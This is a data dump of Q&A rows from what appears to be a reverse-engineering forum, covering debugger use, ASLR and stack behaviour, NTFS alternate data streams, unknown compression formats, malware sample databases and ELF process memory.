  <row Id="6094" PostTypeId="2" ParentId="6092" CreationDate="2014-08-19T07:15:29.720" Score="1" Body="&lt;p&gt;Well, it will not be fixed for every function even if you turn off ASLR, simple example is when function A call function B&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A:&#xA;...&#xA;...&#xA;...&#xA;call B ---&amp;gt; (1)&#xA;[next instruction]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(1)&lt;/code&gt; This assembly instruction will push the address of [next instruction] to the stack as a return address, which will increase the value of ESP, meaning that ESP value for function B is now different&lt;/p&gt;&#xA;" OwnerUserId="8330" LastEditorUserId="53" LastEditDate="2014-08-19T08:35:41.810" LastActivityDate="2014-08-19T08:35:41.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6095" PostTypeId="2" ParentId="6092" CreationDate="2014-08-19T07:36:09.360" Score="3" Body="&lt;p&gt;Turning ASLR on/off affects the &lt;strong&gt;initial&lt;/strong&gt; value of the stack pointer. Whenever a function is called, it reserves the amount of stack it needs, by subtracting from the stack pointer. When this function calls another one, it will push its arguments on the stack (which decreases the stack pointer even more), then call the other function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the same program several times, with aslr turned &lt;strong&gt;off&lt;/strong&gt;, and with exactly the same input, thus guaranteeing the same program flow, your function will get the same stack pointer every time. But it's not the initial stack pointer; it's the initial stack pointer minus all stack frames previous functions needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run the same program several times, with aslr turned &lt;strong&gt;on&lt;/strong&gt;, and with exactly the same input, thus guaranteeing the same program flow, your function will get a different stack pointer every time. However, the difference between the initial stack pointer (when main() is called), and the one your function gets, will be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this assumes the stack is growing downward, which is the case on x86/x64 and most other current processors, but there are architectures where the stack grows up. On those architectures, replace &quot;subtract&quot; with &quot;add&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My crystal ball just told me that with &quot;There are many functions running on the system and also they requires esp&quot; you wanted to say &quot;There are many processes running on a system at the same time, each of them needs a stack; how can they coexist if ASLR is turned off and they have the same stack pointer? Won't they overwrite each other's stacks?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what &lt;a href=&quot;https://www.google.de/search?q=virtual%20memory&quot; rel=&quot;nofollow&quot;&gt;Virtual Memory&lt;/a&gt; is about. There are many resources on the internet that explain virtual memory better than i could in a few lines; so just this: the same &lt;em&gt;virtual&lt;/em&gt; addresses are mapped to different &lt;em&gt;physical&lt;/em&gt; addresses for different processes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this doesn't have much to do with reverse engineering anymore.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-08-19T08:04:03.240" LastActivityDate="2014-08-19T08:04:03.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6096" PostTypeId="1" AcceptedAnswerId="6112" CreationDate="2014-08-19T12:01:33.837" Score="5" ViewCount="485" Body="&lt;p&gt;I'm disassembling an old (1996) game, that has been compiled with the Watcom 386 compiler. This compiler seems to aggressively reorder instructions to make better use of the processor pipeline, as seen in this chunk of assembly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RqNJ3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions marked with a red dot set up the parameters for the next call; the instructions with a blue dot finish the initialization of the object returned from the previous call. Rearranging them makes the assembly much easier to read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;call    ClassAlloc13680_0FAh&#xA;mov     edx, [eax]&#xA;mov     [edx+Class180F4.WidgetInputHandler], offset gblHandleTransportDestinationAndCheckForPassengersSpace&#xA;mov     edx, [eax]&#xA;mov     [edx+Class13680.Paint???], offset ClassVehicleManager__PaintForSomeWidget&#xA;mov     dword_A4D88, eax&#xA;mov     eax, [eax]&#xA;mov     [eax+Class10B8C.MouseInputHandler], offset ClassVehicleManager__MouseInputHandler&#xA;&#xA;push    0&#xA;push    2&#xA;push    0&#xA;push    4Eh&#xA;push    5Bh&#xA;mov     ebx, 5Ch&#xA;mov     ecx, 21h&#xA;mov     edx, ebp&#xA;mov     eax, ebp&#xA;call    ClassAlloc13680_0FAh&#xA;push    0&#xA;push    2&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that i moved the &lt;code&gt;mov reg, xxh&lt;/code&gt; instructions even further down, because the compiler's calling convention is ax-dx-cx-bx-stack, so i can see the order of arguments here as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to accomplish this in IDA? I'm not asking for an algorithm to automatically determine which instructions should be &quot;red&quot; and which should be &quot;blue&quot;, and i don't want to patch the original binary file, i'd just like to manually re-arrange instructions in the ida database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there another way to improve readability of this kind of code in IDA?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-08-25T09:40:33.293" Title="Rearrange instructions in an ida database?" Tags="|ida|assembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6097" PostTypeId="1" AcceptedAnswerId="6098" CreationDate="2014-08-19T12:34:59.847" Score="0" ViewCount="1181" Body="&lt;p&gt;What is the usage of &quot;Stream:&quot; portion in View==&gt;File==&gt;Open File window? For some files it shows &lt;pre&gt;main&lt;br&gt;:Zone.Identifier:$DATA&lt;/pre&gt;&#xA;what's the meaning of this?&lt;/p&gt;&#xA;" OwnerUserId="8279" LastActivityDate="2014-08-19T17:15:53.367" Title="OllyDbg2: What is the meaning of Stream in File View Window?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6098" PostTypeId="2" ParentId="6097" CreationDate="2014-08-19T12:46:11.350" Score="2" Body="&lt;p&gt;An NTFS file can have &lt;a href=&quot;http://ntfs.com/ntfs-multiple.htm&quot; rel=&quot;nofollow&quot;&gt;multiple data streams&lt;/a&gt;. $DATA is the name of the default stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/Fork_%28file_system%29&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;: Internet explorer, (and, according to the german wikipedia, newer versions of Firefox), use the Zone.Identifier stream to store information from where you downloaded the file. You might have seen the &quot;File Origin: downloaded from internet&quot; message in a UAC prompt. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the Zone.Identifier data with notepad. For example, on one of your files that have this attribute, run &lt;code&gt;notepad myfile.exe:Zone.Identifier&lt;/code&gt;. This should give you something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ZoneTransfer]&#xA;ZoneId=3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the 3 to a 0, then save from notepad. Next time you run the file as adminstrator, the &quot;Origin: Internet&quot; message will change to &quot;Origin: this computer's hard disk&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer to your question &quot;why is it absent on some other files&quot; is - only NTFS supports this. If you copy a file to a USB stick, SD card, or network storage, the file will lose its stream; when you copy it back, it doesn't magically gain the stream back. So only files that you downloaded via internet explorer (and possibly other browsers) on your NTFS hard disk will have it. Or, of course, files in which you created the stream yourself, like in &lt;code&gt;echo &quot;this is a fake&quot; &amp;gt; myfile.exe:Zone.Identifier&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the only thing this has to do with reverse engineering is that Ollydbg is one of the few tools that tell you if a file as alternate data streams.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-08-19T17:15:53.367" LastActivityDate="2014-08-19T17:15:53.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6099" PostTypeId="1" CreationDate="2014-08-19T13:15:59.573" Score="5" ViewCount="3711" Body="&lt;p&gt;I got data which is compressed but I fail to find the compression algorithm.&#xA;The data is part of a larger file from which I know the layout, So I managed to find out few things. What I know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;   &lt;li&gt;I don't have the binary executable that load the data, I only have the updated version which no longer support the old copression algo. I tortured it in many way and it just doesn't contain the corresponding code&lt;/li&gt;&#xA;   &lt;li&gt;it is compressed (100% sure of it)&lt;/li&gt;&#xA;   &lt;li&gt;it can be home made as it was replaced later (see below)&lt;/li&gt;&#xA;   &lt;li&gt;no magic numbers so far&lt;/li&gt;&#xA;   &lt;li&gt;it is not plain:&#xA;     &lt;ul&gt;&#xA;       &lt;li&gt;deflate (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;lzma (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;gzip (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;Quantum (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;Microsoft CAB (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;Bzip2 (wrong header)&lt;/li&gt;&#xA;       &lt;li&gt;Zip (wrong header)&lt;/li&gt;&#xA;     &lt;/ul&gt;&#xA;   &lt;/li&gt;&#xA;   &lt;li&gt;the uncompressed size is given in the file containing the data, this file layout is fully reversed and does not contain any clue&lt;/li&gt;&#xA;   &lt;li&gt;it might be encrypted but is unlikely because of speed requirements&lt;/li&gt;&#xA;   &lt;li&gt;if it is encrypted, it gives the same output given the same data input at the beginning of the sequence (by guess on some uncompressed data located nearby)&lt;/li&gt;&#xA;   &lt;li&gt;it is from 2001 and has been replaced by deflate since&lt;/li&gt;&#xA;   &lt;li&gt;Some of those data only output ASCII and nothing else (I know it from the layout of the container file) and have a compression ratio of about 0.30  (compressedSize/uncompressedSize) everytime&lt;/li&gt;&#xA;   &lt;li&gt;I don't have any before/after data sadly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: There are the 32 first bytes in hex:&#xA;b9daed36cb64bedb61b9dd2cb72afd8ee565b0dd2ea00f0afda2c36eb25b0016&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made histograms of several of those data and they all match a specific pattern. Something is going on with the powers of 2 obviously but I fail to see what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MRK5H.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bq9jG.png&quot; title=&quot;Hosted by imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone has a idea what it could be? What can I do to gather further information? Does it look Lempel-Ziv based? If yes how could I reverse it?&lt;/p&gt;&#xA;" OwnerUserId="8333" LastEditorUserId="8333" LastEditDate="2014-08-19T14:28:20.613" LastActivityDate="2014-09-19T08:06:38.233" Title="Unknown compression algorithm" Tags="|file-format|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="6102" PostTypeId="2" ParentId="6099" CreationDate="2014-08-20T07:09:46.530" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;First of all, you forgot lzo. AFAIR it was invented in 1996.&lt;/li&gt;&#xA;&lt;li&gt;Second of all, it is possible that the compressed data has no corresponding standard header (which makes all &quot;incorrect header&quot; mistakes not necessarily true).&lt;/li&gt;&#xA;&lt;li&gt;Third of all, the histogram doesn't look like histogram of data compressed as one piece, it is possible that it has some internal structure (may be blobs with sizes before them ?).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd suggest to write script that runs different decompression algorithms on parts of the data and to observe results.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-08-20T07:09:46.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6104" PostTypeId="1" AcceptedAnswerId="6105" CreationDate="2014-08-21T07:21:12.420" Score="2" ViewCount="6018" Body="&lt;p&gt;Being rather new to the concept of RE, I wanted to try and take a look at the assembly code in one DLL that I know exports some functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I used this tool - &lt;a href=&quot;http://www.nirsoft.net/utils/dll_export_viewer.html&quot; rel=&quot;nofollow&quot;&gt;http://www.nirsoft.net/utils/dll_export_viewer.html&lt;/a&gt; - to obtain a list of exports within said DLL. These are some of the functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GI_Call 0x100590a7  0x000590a7  2 (0x2) mydll.dll   I:\test\mydll.dll   Exported Function   &#xA;GI_CleanReturnStack 0x10058eae  0x00058eae  3 (0x3) mydll.dll  I:\test\mydll.dll    Exported Function   &#xA;GI_Cmd_Argc 0x10058bd4  0x00058bd4  4 (0x4) mydll.dll   I:\test\mydll.dll   Exported Function   &#xA;GI_Cmd_Argc_sv  0x10059593  0x00059593  5 (0x5) mydll.dll   I:\test\mydll.dll   Exported Function   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I, however, load the DLL up in OllyDbg and browse to any of these addresses, I get instructions that don't really resemble a beginning of a function, for example GI_Call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;100590A7     10E9                ADC CL,CH&#xA;100590A9     CE                  INTO&#xA;100590AA     FC                  CLD&#xA;100590AB     FFFF                ???                                                        ; Unknown command&#xA;100590AD     FF75 10             PUSH DWORD PTR SS:[EBP+10]&#xA;100590B0     8D45 FC             LEA EAX,DWORD PTR SS:[EBP-4]&#xA;100590B3     50                  PUSH EAX&#xA;100590B4     57                  PUSH EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's even more puzzling is that once I scroll up/down, the code actually changes - there's no&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;100590A7     10E9                ADC CL,CH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anymore, it changes to a completely different instruction, also that address is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Or is the DLL possibly encrypted? Though if it is, how could DLL Export Viewer dump the exports so easily?&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2014-08-21T08:20:16.347" Title="Viewing an exported DLL function in OllyDbg - garbage code" Tags="|disassembly|ollydbg|dll|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6105" PostTypeId="2" ParentId="6104" CreationDate="2014-08-21T08:09:31.663" Score="3" Body="&lt;p&gt;Your library might get loaded to a location that's completely different from the one it wants to be loaded at, i.e. the address in the header, due to &lt;a href=&quot;http://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow&quot;&gt;ASLR&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, when loading a DLL, Ollydbg doesn't load the DLL directly; instead, it uses &lt;code&gt;loaddll.exe&lt;/code&gt;. Which means, it starts the executable, but the breakpoint it sets is &lt;em&gt;before&lt;/em&gt; &lt;code&gt;loaddll&lt;/code&gt; has a chance to, well, load the DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set a breakpoint on &lt;code&gt;LoadLibraryA&lt;/code&gt; : right click in CPU Window - Go To - Expression - &lt;code&gt;LoadLibraryA&lt;/code&gt; - Press &lt;kbd&gt;F2&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Repeat the same with LoadLibraryW (the A version should be sufficient, just to make sure);&lt;/li&gt;&#xA;&lt;li&gt;Run the program;&lt;/li&gt;&#xA;&lt;li&gt;Once your breakpoint is it, press &lt;kbd&gt;CTRL&lt;/kbd&gt;-&lt;kbd&gt;F9&lt;/kbd&gt; (execute till return);&lt;/li&gt;&#xA;&lt;li&gt;If your DLL depends on others, you'll hit one of your breakpoints again; else you'll hit the breakpoint at the &lt;code&gt;RET&lt;/code&gt; instruction. Don't worry, in either case, your DLL will be loaded;&lt;/li&gt;&#xA;&lt;li&gt;Use View-&gt;Memory or View-&gt;Executable Modules to learn where your DLL was actually loaded. This may be the same address that DLL Export Viewer shows you, but often, it will be different (address conflicts between two DLLs, in which case one has to be relocated, or ASLR, as above);&lt;/li&gt;&#xA;&lt;li&gt;Only if the addresses match: Right Click -&gt; GoTo -&gt; Expression -&gt; &lt;code&gt;0x12345678&lt;/code&gt; or whatever address you want to see;&lt;/li&gt;&#xA;&lt;li&gt;No matter if they match or not: Right Click -&gt; GoTo -&gt; Expression -&gt; (Function name) will scroll to that function.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The reason for your '&lt;em&gt;disappearing&lt;/em&gt;' instruction is that it's the middle of another instruction. Consider this function start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10001280 &amp;gt; 53               PUSH EBX&#xA;10001281   56               PUSH ESI&#xA;10001282   57               PUSH EDI&#xA;10001283   8B7C24 10        MOV EDI,DWORD PTR SS:[ESP+10]&#xA;10001287   8BF1             MOV ESI,ECX&#xA;10001289   3BF7             CMP ESI,EDI&#xA;1000128B   0F94C3           SETE BL&#xA;1000128E   84DB             TEST BL,BL&#xA;10001290   75 32            JNZ SHORT 100012C4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The byte at &lt;code&gt;10001284&lt;/code&gt;, &lt;code&gt;0x7c&lt;/code&gt;, is part of the instruction at &lt;code&gt;1001283&lt;/code&gt;. But if you disassemble from &lt;code&gt;10001284&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10001284   7C 24            JL SHORT 100012AA&#xA;10001286   108B F13BF70F    ADC BYTE PTR DS:[EBX+FF73BF1],CL&#xA;1000128C   94               XCHG EAX,ESP&#xA;1000128D   C3               RETN&#xA;1000128E   84DB             TEST BL,BL&#xA;10001290   75 32            JNZ SHORT 100012C4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wrong bytes get interpreted as instructions. Once you scroll up a few rows, Ollydbg syncs correctly again - and shows the '&lt;em&gt;real&lt;/em&gt;' instructions.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="53" LastEditDate="2014-08-21T08:20:16.347" LastActivityDate="2014-08-21T08:20:16.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6106" PostTypeId="1" CreationDate="2014-08-21T18:03:29.283" Score="3" ViewCount="458" Body="&lt;p&gt;I've got the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find new binaries of a certain malware family -- unpacked -- for subsequent analysis (active C&amp;amp;C comms analysis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a database of binaries somewhere where I can write a query like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Give me samples that are homologous to an input binary (or collection thereof) using fuzzy hashing as the distance metric and then filter by date seen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify, the samples don't use packing. &lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="53" LastEditDate="2014-08-21T19:09:29.260" LastActivityDate="2014-10-31T06:17:51.920" Title="Search remote malware zoo for homologous samples" Tags="|binary-analysis|malware|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6107" PostTypeId="2" ParentId="6106" CreationDate="2014-08-21T18:34:22.457" Score="2" Body="&lt;p&gt;I am afraid that most of these databases aren't public, the malware analysis companies tries to keep it for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I recommend you to take a look at &lt;a href=&quot;https://www.virustotal.com/&quot; rel=&quot;nofollow&quot;&gt;VirusTotal&lt;/a&gt; (see its &lt;a href=&quot;http://en.wikipedia.org/wiki/VirusTotal&quot; rel=&quot;nofollow&quot;&gt;Wikipedia page&lt;/a&gt; for more information about it) which is probably the most furnished database available on-line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to take a look at the &lt;a href=&quot;http://irma.quarkslab.com/&quot; rel=&quot;nofollow&quot;&gt;IRMA&lt;/a&gt; (Incident Response Malware Analysis) framework if you want to run your own server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here is a collection of tools and papers on methods to find similarities in binary blobs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://roussev.net/sdhash/sdhash.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sdhash&lt;/code&gt;&lt;/a&gt; tool (see also this &lt;a href=&quot;http://www.cybercrimetech.com/2012/09/similarity-comparison-with-sdhash-fuzzy.html&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ssdeep.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;ssdeep&lt;/code&gt;&lt;/a&gt; tool;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kar.kent.ac.uk/37627/1/a4-bourquin.pdf&quot; rel=&quot;nofollow&quot;&gt;BinSlayer: Accurate Comparison of Binary Executables&lt;/a&gt;, by Bourquin, King and Robbins , 2013 (&lt;a href=&quot;https://github.com/MartialB/BinSlayer&quot; rel=&quot;nofollow&quot;&gt;GitHub Project&lt;/a&gt;);&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://brage.bibsys.no/xmlui/bitstream/handle/11250/144008/KPAstebol.pdf&quot; rel=&quot;nofollow&quot;&gt;mvHash - a new approach for fuzzy hashing&lt;/a&gt;, by Knut Petter Åstebø, 2012;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dfrws.org/2011/proceedings/09-341.pdf&quot; rel=&quot;nofollow&quot;&gt;An evaluation of forensic similarity hashes&lt;/a&gt;, by Vassil Roussev, 2011.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This list is far from being complete, but I think that this is a good starting point...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you !&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-08-21T19:34:44.607" LastActivityDate="2014-08-21T19:34:44.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6108" PostTypeId="2" ParentId="6040" CreationDate="2014-08-21T20:53:21.470" Score="7" Body="&lt;p&gt;It's easier to check &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-image-only&quot; rel=&quot;nofollow noreferrer&quot;&gt;Optional Header&lt;/a&gt; magic number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a valid exe, only two values are possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x10B =&amp;gt; PE32  =&amp;gt; 32 bit&#xA;0x20B =&amp;gt; PE32+ =&amp;gt; 64 bit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8355" LastEditorUserId="8355" LastEditDate="2019-08-04T08:44:59.537" LastActivityDate="2019-08-04T08:44:59.537" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6109" PostTypeId="1" CreationDate="2014-08-22T03:11:09.140" Score="1" ViewCount="924" Body="&lt;p&gt;I've seen a few references to ollydbg 2.1.0.4, but the official ollydbg website only has version 2.01. Can someone point me to a download for it? Can't find it googling either...&lt;/p&gt;&#xA;" OwnerUserId="8357" LastActivityDate="2014-08-22T08:04:22.243" Title="Where can I find ollydbg 2.1" Tags="|ollydbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6112" PostTypeId="2" ParentId="6096" CreationDate="2014-08-22T09:33:26.063" Score="5" Body="&lt;p&gt;Several years ago i wrote &lt;a href=&quot;http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/swapinsn.idc&quot; rel=&quot;nofollow&quot;&gt;swapinsn.idc&lt;/a&gt; to do this for ARM code.  It will rotate a sequence of insns up or down, and fix any relative jumps in that range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that contrary to the comments in the script, i never actually added x86 support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For convenience i added hotkey functions &lt;code&gt;HK_ExchangeDown&lt;/code&gt; and &lt;code&gt;HK_ExchangeUp&lt;/code&gt; as defined in &lt;a href=&quot;http://nah6.com/~itsme/cvs-xdadevtools/ida/idcscripts/hotkeys.idc&quot; rel=&quot;nofollow&quot;&gt;hotkeys.idc&lt;/a&gt;.&#xA;So in can select a range of instructions, type shift-x to move the last selected insn up, and the rest down.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="1842" LastEditDate="2014-08-25T09:40:33.293" LastActivityDate="2014-08-25T09:40:33.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6113" PostTypeId="2" ParentId="6106" CreationDate="2014-08-22T10:11:44.907" Score="2" Body="&lt;p&gt;VirusTotal has import hash to match:&#xA;&lt;a href=&quot;http://blog.virustotal.com/2014/02/virustotal-imphash.html&quot; rel=&quot;nofollow&quot;&gt;http://blog.virustotal.com/2014/02/virustotal-imphash.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8359" LastActivityDate="2014-08-22T10:11:44.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6114" PostTypeId="2" ParentId="6106" CreationDate="2014-08-22T14:03:52.350" Score="1" Body="&lt;p&gt;I work on the team for &lt;a href=&quot;http://darkpoint.us&quot; rel=&quot;nofollow&quot;&gt;darkpoint&lt;/a&gt;.  Our platform can compare and cluster submitted malware based on feature vectors.  Basically, we do static and dynamic analysis to determine the characteristics of all the software we see.  Then we use machine learning to discover matches.  You can also do explicit matches based on normal search terms.&lt;/p&gt;&#xA;" OwnerUserId="4515" LastActivityDate="2014-08-22T14:03:52.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6115" PostTypeId="1" CreationDate="2014-08-22T14:35:31.420" Score="2" ViewCount="406" Body="&lt;p&gt;I am interested in knowing about what are the latest commercial packages that are out there that deter reverse code engineering. And how do I work around them if necessary ? To be more specific I am talking about ASProtect how do I work around it ?&lt;/p&gt;&#xA;" OwnerUserId="8362" LastEditorUserId="8362" LastEditDate="2014-08-22T15:11:23.093" LastActivityDate="2014-08-22T15:11:23.093" Title="What are the commercial anti reversing techniques?" Tags="|static-analysis|anti-debugging|" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-29T21:40:15.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="6116" PostTypeId="1" CreationDate="2014-08-23T11:28:38.950" Score="0" ViewCount="2640" Body="&lt;p&gt;The running process has nothing to do with the program headers but when we print the address(&lt;code&gt;0x08048000&lt;/code&gt;) we can see the ELF header starting with &lt;code&gt;&quot;\x7fELF..&quot;&lt;/code&gt;. It looks like so much of page memory is wasted. Why program headers are stored along with the text, data segments in process memory? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main() {&#xA;  write(1, (void*)0x8048000,100);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output (x86)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF 4L4         (44  TTT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8367" LastEditorUserId="53" LastEditDate="2014-08-23T11:58:45.640" LastActivityDate="2014-09-07T21:42:02.873" Title="Why ELF headers are included in the process memory" Tags="|x86|c|memory|elf|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6120" PostTypeId="2" ParentId="2832" CreationDate="2014-08-25T11:40:20.060" Score="0" Body="&lt;p&gt;Do you have md5 for the application?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like a GUI/Cocoa application. The code seems to be stuck in &lt;code&gt;msgloop&lt;/code&gt;.&#xA;This loop generally occurs in applications, which require user interaction or when application is interacting with messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image shows the breakpoint has been hit inside &lt;code&gt;__CFRunLoopRun&lt;/code&gt;. It means app was running and processing system messages until it met a breakpoint (which is &lt;kbd&gt;Command&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, in this case) it need some kind of user interaction or is waiting for some message, may be a click or key press or message from some system process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the sample md5 or SHA, I can have a look at it&lt;/p&gt;&#xA;" OwnerUserId="8381" LastEditorUserId="53" LastEditDate="2014-08-25T12:04:27.140" LastActivityDate="2014-08-25T12:04:27.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
